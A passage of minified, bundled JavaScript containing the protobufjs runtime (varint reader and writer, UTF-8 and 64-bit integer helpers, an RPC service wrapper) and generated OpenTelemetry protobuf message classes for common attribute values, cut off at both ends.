q(u[4]<<24|u[5]<<16|u[6]<<8|u[7],u[0]<<24|u[1]<<16|u[2]<<8|u[3],d)},typeof BigInt==="function")q.fromBigInt=function(u,d){var r=Number(BigInt.asIntN(32,u)),c=Number(BigInt.asIntN(32,u>>BigInt(32)));return X(r,c,d)},q.fromValue=function(u,d){if(typeof u==="bigint")return q.fromBigInt(u,d);return G(u,d)},b.toBigInt=function(){var u=BigInt(this.low>>>0),d=BigInt(this.unsigned?this.high>>>0:this.high);return d<<BigInt(32)|u};var F=A.default=q})});var lv6=v((tm7,cv6)=>{cv6.exports=B62;function B62(moduleName){try{var mod=moduleName==="long"?sm7():moduleName==="buffer"?CA("buffer"):moduleName==="fs"?CA("fs"):eval("quire".replace(/^/,"re"))(moduleName);if(mod&&(mod.length||Object.keys(mod).length))return mod}catch(A){}return null}});var Ag7=v((em7)=>{var iv6=em7;iv6.length=function(K){var q=0,Y=0;for(var z=0;z<K.length;++z)if(Y=K.charCodeAt(z),Y<128)q+=1;else if(Y<2048)q+=2;else if((Y&64512)===55296&&(K.charCodeAt(z+1)&64512)===56320)++z,q+=4;else q+=3;return q};iv6.read=function(K,q,Y){var z=Y-q;if(z<1)return"";var w=null,H=[],J=0,O;while(q<Y){if(O=K[q++],O<128)H[J++]=O;else if(O>191&&O<224)H[J++]=(O&31)<<6|K[q++]&63;else if(O>239&&O<365)O=((O&7)<<18|(K[q++]&63)<<12|(K[q++]&63)<<6|K[q++]&63)-65536,H[J++]=55296+(O>>10),H[J++]=56320+(O&1023);else H[J++]=(O&15)<<12|(K[q++]&63)<<6|K[q++]&63;if(J>8191)(w||(w=[])).push(String.fromCharCode.apply(String,H)),J=0}if(w){if(J)w.push(String.fromCharCode.apply(String,H.slice(0,J)));return w.join("")}return String.fromCharCode.apply(String,H.slice(0,J))};iv6.write=function(K,q,Y){var z=Y,w,H;for(var J=0;J<K.length;++J)if(w=K.charCodeAt(J),w<128)q[Y++]=w;else if(w<2048)q[Y++]=w>>6|192,q[Y++]=w&63|128;else if((w&64512)===55296&&((H=K.charCodeAt(J+1))&64512)===56320)w=65536+((w&1023)<<10)+(H&1023),++J,q[Y++]=w>>18|240,q[Y++]=w>>12&63|128,q[Y++]=w>>6&63|128,q[Y++]=w&63|128;else q[Y++]=w>>12|224,q[Y++]=w>>6&63|128,q[Y++]=w&63|128;return Y-z}});var qg7=v((_TH,Kg7)=>{Kg7.exports=m62;function m62(A,K,q){var Y=q||8192,z=Y>>>1,w=null,H=Y;return function(O){if(O<1||O>z)return A(O);if(H+O>Y)w=A(Y),H=0;var X=K.call(w,H,H+=O);if(H&7)H=(H|7)+1;return X}}});var zg7=v((GTH,Yg7)=>{Yg7.exports=QG;var ggA=kB();function QG(A,K){this.lo=A>>>0,this.hi=K>>>0}var c5A=QG.zero=new QG(0,0);c5A.toNumber=function(){return 0};c5A.zzEncode=c5A.zzDecode=function(){return this};c5A.length=function(){return 1};var g62=QG.zeroHash="\x00\x00\x00\x00\x00\x00\x00\x00";QG.fromNumber=function(K){if(K===0)return c5A;var q=K<0;if(q)K=-K;var Y=K>>>0,z=(K-Y)/4294967296>>>0;if(q){if(z=~z>>>0,Y=~Y>>>0,++Y>4294967295){if(Y=0,++z>4294967295)z=0}}return new QG(Y,z)};QG.from=function(K){if(typeof K==="number")return QG.fromNumber(K);if(ggA.isString(K))if(ggA.Long)K=ggA.Long.fromString(K);else return QG.fromNumber(parseInt(K,10));return K.low||K.high?new QG(K.low>>>0,K.high>>>0):c5A};QG.prototype.toNumber=function(K){if(!K&&this.hi>>>31){var q=~this.lo+1>>>0,Y=~this.hi>>>0;if(!q)Y=Y+1>>>0;return-(q+Y*4294967296)}return this.lo+this.hi*4294967296};QG.prototype.toLong=function(K){return ggA.Long?new ggA.Long(this.lo|0,this.hi|0,Boolean(K)):{low:this.lo|0,high:this.hi|0,unsigned:Boolean(K)}};var es=String.prototype.charCodeAt;QG.fromHash=function(K){if(K===g62)return c5A;return new QG((es.call(K,0)|es.call(K,1)<<8|es.call(K,2)<<16|es.call(K,3)<<24)>>>0,(es.call(K,4)|es.call(K,5)<<8|es.call(K,6)<<16|es.call(K,7)<<24)>>>0)};QG.prototype.toHash=function(){return String.fromCharCode(this.lo&255,this.lo>>>8&255,this.lo>>>16&255,this.lo>>>24,this.hi&255,this.hi>>>8&255,this.hi>>>16&255,this.hi>>>24)};QG.prototype.zzEncode=function(){var K=this.hi>>31;return this.hi=((this.hi<<1|this.lo>>>31)^K)>>>0,this.lo=(this.lo<<1^K)>>>0,this};QG.prototype.zzDecode=function(){var K=-(this.lo&1);return this.lo=((this.lo>>>1|this.hi<<31)^K)>>>0,this.hi=(this.hi>>>1^K)>>>0,this};QG.prototype.length=function(){var K=this.lo,q=(this.lo>>>28|this.hi<<4)>>>0,Y=this.hi>>>24;return Y===0?q===0?K<16384?K<128?1:2:K<2097152?3:4:q<16384?q<128?5:6:q<2097152?7:8:Y<128?9:10}});var kB=v((nv6)=>{var yK=nv6;yK.asPromise=pv6();yK.base64=Um7();yK.EventEmitter=dm7();yK.float=am7();yK.inquire=lv6();yK.utf8=Ag7();yK.pool=qg7();yK.LongBits=zg7();yK.isNode=Boolean(typeof global<"u"&&global&&global.process&&global.process.versions&&global.process.versions.node);yK.global=yK.isNode&&global||typeof window<"u"&&window||typeof self<"u"&&self||nv6;yK.emptyArray=Object.freeze?Object.freeze([]):[];yK.emptyObject=Object.freeze?Object.freeze({}):{};yK.isInteger=Number.isInteger||function(K){return typeof K==="number"&&isFinite(K)&&Math.floor(K)===K};yK.isString=function(K){return typeof K==="string"||K instanceof String};yK.isObject=function(K){return K&&typeof K==="object"};yK.isset=yK.isSet=function(K,q){var Y=K[q];if(Y!=null&&K.hasOwnProperty(q))return typeof Y!=="object"||(Array.isArray(Y)?Y.length:Object.keys(Y).length)>0;return!1};yK.Buffer=function(){try{var A=yK.inquire("buffer").Buffer;return A.prototype.utf8Write?A:null}catch(K){return null}}();yK._Buffer_from=null;yK._Buffer_allocUnsafe=null;yK.newBuffer=function(K){return typeof K==="number"?yK.Buffer?yK._Buffer_allocUnsafe(K):new yK.Array(K):yK.Buffer?yK._Buffer_from(K):typeof Uint8Array>"u"?K:new Uint8Array(K)};yK.Array=typeof Uint8Array<"u"?Uint8Array:Array;yK.Long=yK.global.dcodeIO&&yK.global.dcodeIO.Long||yK.global.Long||yK.inquire("long");yK.key2Re=/^true|false|0|1$/;yK.key32Re=/^-?(?:0|[1-9][0-9]*)$/;yK.key64Re=/^(?:[\\x00-\\xff]{8}|-?(?:0|[1-9][0-9]*))$/;yK.longToHash=function(K){return K?yK.LongBits.from(K).toHash():yK.LongBits.zeroHash};yK.longFromHash=function(K,q){var Y=yK.LongBits.fromHash(K);if(yK.Long)return yK.Long.fromBits(Y.lo,Y.hi,q);return Y.toNumber(Boolean(q))};function wg7(A,K,q){for(var Y=Object.keys(K),z=0;z<Y.length;++z)if(A[Y[z]]===void 0||!q)A[Y[z]]=K[Y[z]];return A}yK.merge=wg7;yK.lcFirst=function(K){return K.charAt(0).toLowerCase()+K.substring(1)};function Hg7(A){function K(q,Y){if(!(this instanceof K))return new K(q,Y);if(Object.defineProperty(this,"message",{get:function(){return q}}),Error.captureStackTrace)Error.captureStackTrace(this,K);else Object.defineProperty(this,"stack",{value:Error().stack||""});if(Y)wg7(this,Y)}return K.prototype=Object.create(Error.prototype,{constructor:{value:K,writable:!0,enumerable:!1,configurable:!0},name:{get:function(){return A},set:void 0,enumerable:!1,configurable:!0},toString:{value:function(){return this.name+": "+this.message},writable:!0,enumerable:!1,configurable:!0}}),K}yK.newError=Hg7;yK.ProtocolError=Hg7("ProtocolError");yK.oneOfGetter=function(K){var q={};for(var Y=0;Y<K.length;++Y)q[K[Y]]=1;return function(){for(var z=Object.keys(this),w=z.length-1;w>-1;--w)if(q[z[w]]===1&&this[z[w]]!==void 0&&this[z[w]]!==null)return z[w]}};yK.oneOfSetter=function(K){return function(q){for(var Y=0;Y<K.length;++Y)if(K[Y]!==q)delete this[K[Y]]}};yK.toJSONOptions={longs:String,enums:String,bytes:String,json:!0};yK._configure=function(){var A=yK.Buffer;if(!A){yK._Buffer_from=yK._Buffer_allocUnsafe=null;return}yK._Buffer_from=A.from!==Uint8Array.from&&A.from||function(q,Y){return new A(q,Y)},yK._Buffer_allocUnsafe=A.allocUnsafe||function(q){return new A(q)}}});var $D1=v((WTH,$g7)=>{$g7.exports=BY;var XL=kB(),rv6,XD1=XL.LongBits,Jg7=XL.base64,Og7=XL.utf8;function FgA(A,K,q){this.fn=A,this.len=K,this.next=void 0,this.val=q}function av6(){}function F62(A){this.head=A.head,this.tail=A.tail,this.len=A.len,this.next=A.states}function BY(){this.len=0,this.head=new FgA(av6,0,0),this.tail=this.head,this.states=null}var Xg7=function(){return XL.Buffer?function(){return(BY.create=function(){return new rv6})()}:function(){return new BY}};BY.create=Xg7();BY.alloc=function(K){return new XL.Array(K)};if(XL.Array!==Array)BY.alloc=XL.pool(BY.alloc,XL.Array.prototype.subarray);BY.prototype._push=function(K,q,Y){return this.tail=this.tail.next=new FgA(K,q,Y),this.len+=q,this};function sv6(A,K,q){K[q]=A&255}function Q62(A,K,q){while(A>127)K[q++]=A&127|128,A>>>=7;K[q]=A}function tv6(A,K){this.len=A,this.next=void 0,this.val=K}tv6.prototype=Object.create(FgA.prototype);tv6.prototype.fn=Q62;BY.prototype.uint32=function(K){return this.len+=(this.tail=this.tail.next=new tv6((K=K>>>0)<128?1:K<16384?2:K<2097152?3:K<268435456?4:5,K)).len,this};BY.prototype.int32=function(K){return K<0?this._push(ev6,10,XD1.fromNumber(K)):this.uint32(K)};BY.prototype.sint32=function(K){return this.uint32((K<<1^K>>31)>>>0)};function ev6(A,K,q){while(A.hi)K[q++]=A.lo&127|128,A.lo=(A.lo>>>7|A.hi<<25)>>>0,A.hi>>>=7;while(A.lo>127)K[q++]=A.lo&127|128,A.lo=A.lo>>>7;K[q++]=A.lo}BY.prototype.uint64=function(K){var q=XD1.from(K);return this._push(ev6,q.length(),q)};BY.prototype.int64=BY.prototype.uint64;BY.prototype.sint64=function(K){var q=XD1.from(K).zzEncode();return this._push(ev6,q.length(),q)};BY.prototype.bool=function(K){return this._push(sv6,1,K?1:0)};function ov6(A,K,q){K[q]=A&255,K[q+1]=A>>>8&255,K[q+2]=A>>>16&255,K[q+3]=A>>>24}BY.prototype.fixed32=function(K){return this._push(ov6,4,K>>>0)};BY.prototype.sfixed32=BY.prototype.fixed32;BY.prototype.fixed64=function(K){var q=XD1.from(K);return this._push(ov6,4,q.lo)._push(ov6,4,q.hi)};BY.prototype.sfixed64=BY.prototype.fixed64;BY.prototype.float=function(K){return this._push(XL.float.writeFloatLE,4,K)};BY.prototype.double=function(K){return this._push(XL.float.writeDoubleLE,8,K)};var U62=XL.Array.prototype.set?function(K,q,Y){q.set(K,Y)}:function(K,q,Y){for(var z=0;z<K.length;++z)q[Y+z]=K[z]};BY.prototype.bytes=function(K){var q=K.length>>>0;if(!q)return this._push(sv6,1,0);if(XL.isString(K)){var Y=BY.alloc(q=Jg7.length(K));Jg7.decode(K,Y,0),K=Y}return this.uint32(q)._push(U62,q,K)};BY.prototype.string=function(K){var q=Og7.length(K);return q?this.uint32(q)._push(Og7.write,q,K):this._push(sv6,1,0)};BY.prototype.fork=function(){return this.states=new F62(this),this.head=this.tail=new FgA(av6,0,0),this.len=0,this};BY.prototype.reset=function(){if(this.states)this.head=this.states.head,this.tail=this.states.tail,this.len=this.states.len,this.states=this.states.next;else this.head=this.tail=new FgA(av6,0,0),this.len=0;return this};BY.prototype.ldelim=function(){var K=this.head,q=this.tail,Y=this.len;if(this.reset().uint32(Y),Y)this.tail.next=K.next,this.tail=q,this.len+=Y;return this};BY.prototype.finish=function(){var K=this.head.next,q=this.constructor.alloc(this.len),Y=0;while(K)K.fn(K.val,q,Y),Y+=K.len,K=K.next;return q};BY._configure=function(A){rv6=A,BY.create=Xg7(),rv6._configure()}});var Zg7=v((DTH,Gg7)=>{Gg7.exports=CB;var _g7=$D1();(CB.prototype=Object.create(_g7.prototype)).constructor=CB;var At=kB();function CB(){_g7.call(this)}CB._configure=function(){CB.alloc=At._Buffer_allocUnsafe,CB.writeBytesBuffer=At.Buffer&&At.Buffer.prototype instanceof Uint8Array&&At.Buffer.prototype.set.name==="set"?function(K,q,Y){q.set(K,Y)}:function(K,q,Y){if(K.copy)K.copy(q,Y,0,K.length);else for(var z=0;z<K.length;)q[Y++]=K[z++]}};CB.prototype.bytes=function(K){if(At.isString(K))K=At._Buffer_from(K,"base64");var q=K.length>>>0;if(this.uint32(q),q)this._push(CB.writeBytesBuffer,q,K);return this};function p62(A,K,q){if(A.length<40)At.utf8.write(A,K,q);else if(K.utf8Write)K.utf8Write(A,q);else K.write(A,q)}CB.prototype.string=function(K){var q=At.Buffer.byteLength(K);if(this.uint32(q),q)this._push(p62,q,K);return this};CB._configure()});var GD1=v((jTH,Pg7)=>{Pg7.exports=$X;var WS=kB(),KE6,jg7=WS.LongBits,d62=WS.utf8;function DS(A,K){return RangeError("index out of range: "+A.pos+" + "+(K||1)+" > "+A.len)}function $X(A){this.buf=A,this.pos=0,this.len=A.length}var Wg7=typeof Uint8Array<"u"?function(K){if(K instanceof Uint8Array||Array.isArray(K))return new $X(K);throw Error("illegal buffer")}:function(K){if(Array.isArray(K))return new $X(K);throw Error("illegal buffer")},Mg7=function(){return WS.Buffer?function(q){return($X.create=function(z){return WS.Buffer.isBuffer(z)?new KE6(z):Wg7(z)})(q)}:Wg7};$X.create=Mg7();$X.prototype._slice=WS.Array.prototype.subarray||WS.Array.prototype.slice;$X.prototype.uint32=function(){var K=4294967295;return function(){if(K=(this.buf[this.pos]&127)>>>0,this.buf[this.pos++]<128)return K;if(K=(K|(this.buf[this.pos]&127)<<7)>>>0,this.buf[this.pos++]<128)return K;if(K=(K|(this.buf[this.pos]&127)<<14)>>>0,this.buf[this.pos++]<128)return K;if(K=(K|(this.buf[this.pos]&127)<<21)>>>0,this.buf[this.pos++]<128)return K;if(K=(K|(this.buf[this.pos]&15)<<28)>>>0,this.buf[this.pos++]<128)return K;if((this.pos+=5)>this.len)throw this.pos=this.len,DS(this,10);return K}}();$X.prototype.int32=function(){return this.uint32()|0};$X.prototype.sint32=function(){var K=this.uint32();return K>>>1^-(K&1)|0};function AE6(){var A=new jg7(0,0),K=0;if(this.len-this.pos>4){for(;K<4;++K)if(A.lo=(A.lo|(this.buf[this.pos]&127)<<K*7)>>>0,this.buf[this.pos++]<128)return A;if(A.lo=(A.lo|(this.buf[this.pos]&127)<<28)>>>0,A.hi=(A.hi|(this.buf[this.pos]&127)>>4)>>>0,this.buf[this.pos++]<128)return A;K=0}else{for(;K<3;++K){if(this.pos>=this.len)throw DS(this);if(A.lo=(A.lo|(this.buf[this.pos]&127)<<K*7)>>>0,this.buf[this.pos++]<128)return A}return A.lo=(A.lo|(this.buf[this.pos++]&127)<<K*7)>>>0,A}if(this.len-this.pos>4){for(;K<5;++K)if(A.hi=(A.hi|(this.buf[this.pos]&127)<<K*7+3)>>>0,this.buf[this.pos++]<128)return A}else for(;K<5;++K){if(this.pos>=this.len)throw DS(this);if(A.hi=(A.hi|(this.buf[this.pos]&127)<<K*7+3)>>>0,this.buf[this.pos++]<128)return A}throw Error("invalid varint encoding")}$X.prototype.bool=function(){return this.uint32()!==0};function _D1(A,K){return(A[K-4]|A[K-3]<<8|A[K-2]<<16|A[K-1]<<24)>>>0}$X.prototype.fixed32=function(){if(this.pos+4>this.len)throw DS(this,4);return _D1(this.buf,this.pos+=4)};$X.prototype.sfixed32=function(){if(this.pos+4>this.len)throw DS(this,4);return _D1(this.buf,this.pos+=4)|0};function Dg7(){if(this.pos+8>this.len)throw DS(this,8);return new jg7(_D1(this.buf,this.pos+=4),_D1(this.buf,this.pos+=4))}$X.prototype.float=function(){if(this.pos+4>this.len)throw DS(this,4);var K=WS.float.readFloatLE(this.buf,this.pos);return this.pos+=4,K};$X.prototype.double=function(){if(this.pos+8>this.len)throw DS(this,4);var K=WS.float.readDoubleLE(this.buf,this.pos);return this.pos+=8,K};$X.prototype.bytes=function(){var K=this.uint32(),q=this.pos,Y=this.pos+K;if(Y>this.len)throw DS(this,K);if(this.pos+=K,Array.isArray(this.buf))return this.buf.slice(q,Y);if(q===Y){var z=WS.Buffer;return z?z.alloc(0):new this.buf.constructor(0)}return this._slice.call(this.buf,q,Y)};$X.prototype.string=function(){var K=this.bytes();return d62.read(K,0,K.length)};$X.prototype.skip=function(K){if(typeof K==="number"){if(this.pos+K>this.len)throw DS(this,K);this.pos+=K}else do if(this.pos>=this.len)throw DS(this);while(this.buf[this.pos++]&128);return this};$X.prototype.skipType=function(A){switch(A){case 0:this.skip();break;case 1:this.skip(8);break;case 2:this.skip(this.uint32());break;case 3:while((A=this.uint32()&7)!==4)this.skipType(A);break;case 5:this.skip(4);break;default:throw Error("invalid wire type "+A+" at offset "+this.pos)}return this};$X._configure=function(A){KE6=A,$X.create=Mg7(),KE6._configure();var K=WS.Long?"toLong":"toNumber";WS.merge($X.prototype,{int64:function(){return AE6.call(this)[K](!1)},uint64:function(){return AE6.call(this)[K](!0)},sint64:function(){return AE6.call(this).zzDecode()[K](!1)},fixed64:function(){return Dg7.call(this)[K](!0)},sfixed64:function(){return Dg7.call(this)[K](!1)}})}});var Tg7=v((MTH,Ng7)=>{Ng7.exports=l5A;var fg7=GD1();(l5A.prototype=Object.create(fg7.prototype)).constructor=l5A;var Vg7=kB();function l5A(A){fg7.call(this,A)}l5A._configure=function(){if(Vg7.Buffer)l5A.prototype._slice=Vg7.Buffer.prototype.slice};l5A.prototype.string=function(){var K=this.uint32();return this.buf.utf8Slice?this.buf.utf8Slice(this.pos,this.pos=Math.min(this.pos+K,this.len)):this.buf.toString("utf-8",this.pos,this.pos=Math.min(this.pos+K,this.len))};l5A._configure()});var Eg7=v((PTH,vg7)=>{vg7.exports=QgA;var qE6=kB();(QgA.prototype=Object.create(qE6.EventEmitter.prototype)).constructor=QgA;function QgA(A,K,q){if(typeof A!=="function")throw TypeError("rpcImpl must be a function");qE6.EventEmitter.call(this),this.rpcImpl=A,this.requestDelimited=Boolean(K),this.responseDelimited=Boolean(q)}QgA.prototype.rpcCall=function A(K,q,Y,z,w){if(!z)throw TypeError("request must be specified");var H=this;if(!w)return qE6.asPromise(A,H,K,q,Y,z);if(!H.rpcImpl){setTimeout(function(){w(Error("already ended"))},0);return}try{return H.rpcImpl(K,q[H.requestDelimited?"encodeDelimited":"encode"](z).finish(),function(O,X){if(O)return H.emit("error",O,K),w(O);if(X===null){H.end(!0);return}if(!(X instanceof Y))try{X=Y[H.responseDelimited?"decodeDelimited":"decode"](X)}catch($){return H.emit("error",$,K),w($)}return H.emit("data",X,K),w(null,X)})}catch(J){H.emit("error",J,K),setTimeout(function(){w(J)},0);return}};QgA.prototype.end=function(K){if(this.rpcImpl){if(!K)this.rpcImpl(null,null,null);this.rpcImpl=null,this.emit("end").off()}return this}});var YE6=v((kg7)=>{var c62=kg7;c62.Service=Eg7()});var zE6=v((fTH,Cg7)=>{Cg7.exports={}});var wE6=v((Rg7)=>{var uf=Rg7;uf.build="minimal";uf.Writer=$D1();uf.BufferWriter=Zg7();uf.Reader=GD1();uf.BufferReader=Tg7();uf.util=kB();uf.rpc=YE6();uf.roots=zE6();uf.configure=Lg7;function Lg7(){uf.util._configure(),uf.Writer._configure(uf.BufferWriter),uf.Reader._configure(uf.BufferReader)}Lg7()});var ZD1=v((yg7,Ig7)=>{Object.defineProperty(yg7,"__esModule",{value:!0});var oK=wE6(),$6=oK.Reader,l5=oK.Writer,FA=oK.util,uA=oK.roots.default||(oK.roots.default={});uA.opentelemetry=function(){var A={};return A.proto=function(){var K={};return K.common=function(){var q={};return q.v1=function(){var Y={};return Y.AnyValue=function(){function z(H){if(H){for(var J=Object.keys(H),O=0;O<J.length;++O)if(H[J[O]]!=null)this[J[O]]=H[J[O]]}}z.prototype.stringValue=null,z.prototype.boolValue=null,z.prototype.intValue=null,z.prototype.doubleValue=null,z.prototype.arrayValue=null,z.prototype.kvlistValue=null,z.prototype.bytesValue=null;var w;return Object.defineProperty(z.prototype,"value",{get:FA.oneOfGetter(w=["stringValue","boolValue","intValue","doubleValue","arrayValue","kvlistValue","bytesValue"]),set:FA.oneOfSetter(w)}),z.create=function(J){return new z(J)},z.encode=function(J,O){if(!O)O=l5.create();if(J.stringValue!=null&&Object.hasOwnProperty.call(J,"stringValue"))O.uint32(10).string(J.stringValue);if(J.boolValue!=null&&Object.hasOwnProperty.call(J,"boolValue"))O.uint32(16).bool(J.boolValue);if(J.intValue!=null&&Object.hasOwnProperty.call(J,"intValue"))O.uint32(24).int64(J.intValue);if(J.doubleValue!=null&&Object.hasOwnProperty.call(J,"doubleValue"))O.uint32(33).double(J.doubleValue);if(J.arrayValue!=null&&Object.hasOwnProperty.call(J,"arrayValue"))uA.opentelemetry.proto.common.v1.ArrayValue.encode(J.arrayValue,O.uint32(42).fork()).ldelim();if(J.kvlistValue!=null&&Object.hasOwnProperty.call(J,"kvlistValue"))uA.opentelemetry.proto.common.v1.KeyValueList.encode(J.kvlistValue,O.uint32(50).fork()).ldelim();if(J.bytesValue!=null&&Object.hasOwnProperty.call(J,"bytesValue"))O.uint32(58).bytes(J.bytesValue);return O},z.encodeDelimited=function(J,O){return this.encode(J,O).ldelim()},z.decode=function(J,O,X){if(!(J instanceof $6))J=$6.create(J);var $=O===void 0?J.len:J.pos+O,_=new uA.opentelemetry.proto.common.v1.AnyValue;while(J.pos<$){var G=J.uint32();if(G===X)break;switch(G>>>3){case 1:{_.stringValue=J.string();break}case 2:{_.boolValue=J.bool();break}case 3:{_.intValue=J.int64();break}case 4:{_.doubleValue=J.double();break}case 5:{_.arrayValue=uA.opentelemetry.proto.common.v1.ArrayValue.decode(J,J.uint32());break}case 6:{_.kvlistValue=uA.opentelemetry.proto.common.v1.KeyValueList.decode(J,J.uint32());break}case 7:{_.bytesValue=J.bytes();break}default:J.skipType(G&7);break}}return _},z.decodeDelimited=function(J){if(!(J instanceof $6))J=new $6(J);return this.decode(J,J.uint32())},z.verify=function(J){if(typeof J!=="object"||J===null)return"object expected";var O={};if(J.stringValue!=null&&J.hasOwnProperty("stringValue")){if(O.value=1,!FA.isString(J.stringValue))return"stringValue: string expected"}if(J.boolValue!=null&&J.hasOwnProperty("boolValue")){if(O.value===1)return"value: multiple values";if(O.value=1,typeof J.boolValue!=="boolean")return"boolValue: boolean expected"}if(J.intValue!=null&&J.hasOwnProperty("intValue")){if(O.value===1)return"value: multiple values";if(O.value=1,!FA.isInteger(J.intValue)&&!(J.intValue&&FA.isInteger(J.intValue.low)&&FA.isInteger(J.intValue.high)))return"intValue: integer|Long expected"}if(J.doubleValue!=null&&J.hasOwnProperty("doubleValue")){if(O.value===1)return"value: multiple values";if(O.value=1,typeof J.doubleValue!=="number")return"doubleValue: number expected"}if(J.arrayValue!=null&&J.hasOwnProperty("arrayValue")){if(O.value===1)return"value: multiple values";O.value=1;{var X=uA.opentelemetry.proto.common.v1.ArrayValue.verify(J.arrayValue);if(X)return"arrayValue."+X}}if(J.kvlistValue!=null&&J.hasOwnProperty("kvlistValue")){if(O.value===1)return"value: multiple values";O.value=1;{var X=uA.opentelemetry.proto.common.v1.KeyValueList.verify(J.kvlistValue);if(X)return"kvlistValue."+X}}if(J.bytesValue!=null&&J.hasOwnProperty("bytesValue")){if(O.value===1)return"value: multiple values";if(O.value=1,!(J.bytesValue&&typeof J.bytesValue.length==="number"||FA.isString(J.bytesValue)))return"bytesValue: buffer expected"}return null},z.fromObject=function(J){if(J instanceof uA.opentelemetry.proto.common.v1.AnyValue)return J;var O=new uA.opentelemetry.proto.common.v1.AnyValue;if(J.stringValue!=null)O.stringValue=String(J.stringValue);if(J.boolValue!=null)O.boolValue=Boolean(J.boolValue);if(J.intValue!=null){if(FA.Long)(O.intValue=FA.Long.fromValue(J.intValue)).unsigned=!1;else if(typeof J.intValue==="string")O.intValue=parseInt(J.intValue,10);else if(typeof J.intValue==="number")O.intValue=J.intValue;else if(typeof J.intValue==="object")O.intValue=new FA.LongBits(J.intValue.low>>>0,J.intValue.high>>>0).toNumber()}if(J.doubleValue!=null)O.doubleValue=Number(J.doubleValue);if(J.arrayValue!=null){if(typeof J.arrayValue!=="object")throw TypeError(".opentelemetry.proto.common.v1.AnyValue.arrayValue: object expected");O.arrayValue=uA.opentelemetry.proto.common.v1.ArrayValue.fromObject(J.arrayValue)}if(J.kvlistValue!=null){if(typeof J.kvlistValue!=="object")throw TypeError(".opentelemetry.proto.common.v1.AnyValue.kvlistValue: object expected");O.kvlistValue=uA.opentelemetry.proto.common.v1.KeyValueList.fromObject(J.kvlistValue)}if(J.bytesValue!=null){if(typeof J.bytesValue==="string")FA.base64.decode(J.bytesValue,O.bytesValue=FA.newBuffer(FA.base64.length(J.bytesValue)),0);else if(J.bytesValue.length>=0)O.bytesValue=J.bytesValue}return O},z.toObject=function(J,O){if(!O)O={};var X={};if(J.stringValue!=null&&J.hasOwnProperty("stringValue")){if(X.stringValue=J.stringValue,O.oneofs)X.value="stringValue"}if(J.boolValue!=null&&J.hasOwnProperty("boolValue")){if(X.boolValue=J.boolValue,O.oneofs)X.value="boolValue"}if(J.intValue!=null&&J.hasOwnProperty("intValue")){if(typeof J.intValue==="number")X.intValue=O.longs===String?String(J.intValue):J.intValue;else X.intValue=O.longs===String?FA.Long.prototype.toString.call(J.intValue):O.longs===Number?new FA.LongBits(J.intValue.low>>>0,J.intValue.high>>>0).toNumber():J.intValue;if(O.oneofs)X.value="intValue"}if(J.doubleValue!=null&&J.hasOwnProperty("doubleValue")){if(X.doubleValue=O.json&&!isFinite(J.doubleValue)?String(J.doubleValue):J.doubleValue,O.oneofs)X.value="doubleValue"}if(J.arrayValue!=null&&J.hasOwnProperty("arrayValue")){if(X.arrayValue=uA.opentelemetry.proto.common.v1.ArrayValue.toObject(J.arrayValue,O),O.oneofs)X.value="arrayValue"}if(J.kvlistValue!=null&&J.hasOwnProperty("kvlistValue")){if(X.kvlistValue=uA.opentelemetry.proto.common.v1.KeyValueList.toObject(J.kvlistValue,O),O.oneofs)X.value="kvlistValue"}if(J.bytesValue!=null&&J.hasOwnProperty("bytesValue")){if(X.bytesValue=O.bytes===String?FA.base64.encode(J.bytesValue,0,J.bytesValue.length):O.bytes===Array?Array.prototype.slice.call(J.bytesValue):J.bytesValue,O.oneofs)X.value="bytesValue"}return X},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(J){if(J===void 0)J="type.googleapis.com";return J+"/opentelemetry.proto.common.v1.AnyValue"},z}(),Y.ArrayValue=function(){function z(w){if(this.values=[],w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.values=FA.emptyArray,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.values!=null&&H.values.length)for(var O=0;O<H.values.length;++O)uA.opentelemetry.proto.common.v1.AnyValue.encode(H.values[O],J.uint32(10).fork()).ldelim();return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.common.v1.ArrayValue;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 1:{if(!($.values&&$.values.length))$.values=[];$.values.push(uA.opentelemetry.proto.common.v1.AnyValue.decode(H,H.uint32()));break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.values!=null&&H.hasOwnProperty("values")){if(!Array.isArray(H.values))return"values: array expected";for(var J=0;J<H.values.length;++J){var O=uA.opentelemetry.proto.common.v1.AnyValue.verify(H.values[J]);if(O)return"values."+O}}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.common.v1.ArrayValue)return H;var J=new uA.opentelemetry.proto.common.v1.ArrayValue;if(H.values){if(!Array.isArray(H.values))throw TypeError(".opentelemetry.proto.common.v1.ArrayValue.values: array expected");J.values=[];for(var O=0;O<H.values.length;++O){if(typeof H.values[O]!=="object")throw TypeError(".opentelemetry.proto.common.v1.ArrayValue.values: object expected");J.values[O]=uA.opentelemetry.proto.common.v1.AnyValue.fromObject(H.values[O])}}return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.arrays||J.defaults)O.values=[];if(H.values&&H.values.length){O.values=[];for(var X=0;X<H.values.length;++X)O.values[X]=uA.opentelemetry.proto.common.v1.AnyValue.toObject(H.values[X],J)}return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.common.v1.ArrayValue"},z}(),Y.KeyValueList=function(){function z(w){if(this.values=[],w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.values=FA.emptyArray,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.values!=null&&H.values.length)for(var O=0;O<H.values.length;++O)uA.opentelemetry.proto.common.v1.KeyValue.encode(H.values[O],J.uint32(10).fork()).ldelim();return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.common.v1.KeyValueList;while(H.pos<X){var 